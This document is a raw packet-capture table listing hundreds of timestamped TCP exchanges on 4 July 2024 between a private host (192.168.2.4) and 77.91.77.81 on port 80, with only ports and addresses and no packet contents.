Jul 4, 2024 20:34:25.237188101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237198114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237201929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.237209082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237220049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237224102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.237231016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237252951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.237271070 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.237389088 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237400055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237433910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.237459898 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237471104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237479925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237490892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237499952 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.237513065 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.237540960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.237770081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237781048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.237812042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.240050077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240094900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240107059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.240139961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.240173101 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240216970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.240226984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240236998 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240247011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240267992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.240287066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240297079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240298033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.240308046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240323067 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.240350008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240350962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.240360975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240370989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240381956 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.240411997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.240439892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240451097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240466118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.240487099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.240499020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.258757114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.258809090 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.258955956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.258966923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.258972883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.258981943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.258987904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.258997917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.259006977 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.259012938 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.259048939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.259090900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.259102106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.259113073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.259121895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.259134054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.259134054 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.259144068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.259157896 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.259182930 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.292279959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.292292118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.292309046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.292318106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.292329073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.292339087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.292350054 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.292359114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.292378902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.292402983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.297332048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.297353983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.297364950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.297415972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.297429085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.297439098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.297451019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.297461987 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.297463894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.297514915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.334970951 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.334991932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335002899 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335014105 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335025072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335035086 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335046053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335050106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335072994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335108995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335151911 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335161924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335171938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335181952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335192919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335196972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335202932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335217953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335227013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335231066 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335237026 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335238934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335266113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335288048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335298061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335299015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335308075 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335318089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335324049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335328102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335339069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335349083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335361004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335370064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335371017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335377932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335381031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335407972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335427999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335627079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335635900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335652113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335661888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335671902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335671902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335681915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335690975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335694075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335700989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335711002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335721970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335725069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335736036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335741043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335747004 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335757017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335758924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335767031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335777044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335783958 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335786104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335797071 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335807085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335808039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335818052 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.335820913 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335846901 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.335869074 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.336033106 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336044073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336052895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336062908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336072922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336083889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336085081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.336093903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336106062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336116076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.336121082 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336128950 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.336129904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336139917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336159945 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.336174011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336184025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336189032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.336193085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336205006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336215019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336215019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.336225033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336236000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336246014 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336247921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.336257935 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336267948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336267948 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.336277962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336282969 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.336289883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336298943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.336309910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.336334944 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.337234020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.337280035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.337285042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.337291956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.337316990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.337328911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.337352991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.337363005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.337373018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.337384939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.337394953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.337397099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.337420940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.337435961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.337574005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.337584019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.337594032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.337604046 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.337613106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.337614059 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.337624073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.337626934 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.337656021 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.354080915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354099035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354109049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354150057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.354157925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354168892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354176044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.354178905 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354190111 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354198933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354211092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.354231119 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.354268074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354276896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354285955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354296923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354306936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354315042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.354324102 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354335070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354341984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.354346037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.354355097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.354384899 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.387948036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.387968063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.387976885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.388041973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.388052940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.388065100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.388075113 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.388084888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.388091087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.388096094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.388127089 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.388149977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.393352032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.393362999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.393373966 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.393416882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.393440008 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.393450975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.393456936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.393460989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.393472910 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.393479109 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.393501043 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.393523932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.430805922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.430814981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.430824041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.430830002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.430835009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.430847883 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.430852890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.430860043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.430866003 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.430947065 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.430958033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.430969000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.430979967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.430985928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431025028 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431050062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431061029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431077957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431087017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431093931 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431097984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431102037 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431108952 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431134939 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431152105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431225061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431236029 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431251049 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431261063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431271076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431277990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431281090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431292057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431303024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431307077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431327105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431341887 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431350946 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431365013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431406975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431406975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431417942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431427956 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431437969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431448936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431454897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431463957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431473017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431474924 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431483984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431509018 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431627035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431638002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431647062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431657076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431668043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431670904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431683064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431683064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431694031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431704044 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431705952 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431713104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431724072 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431732893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431740999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431766033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:25.431766033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431777000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431797981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:25.431806087 CEST	49744	80	192.168.2.4	77.91.77.81
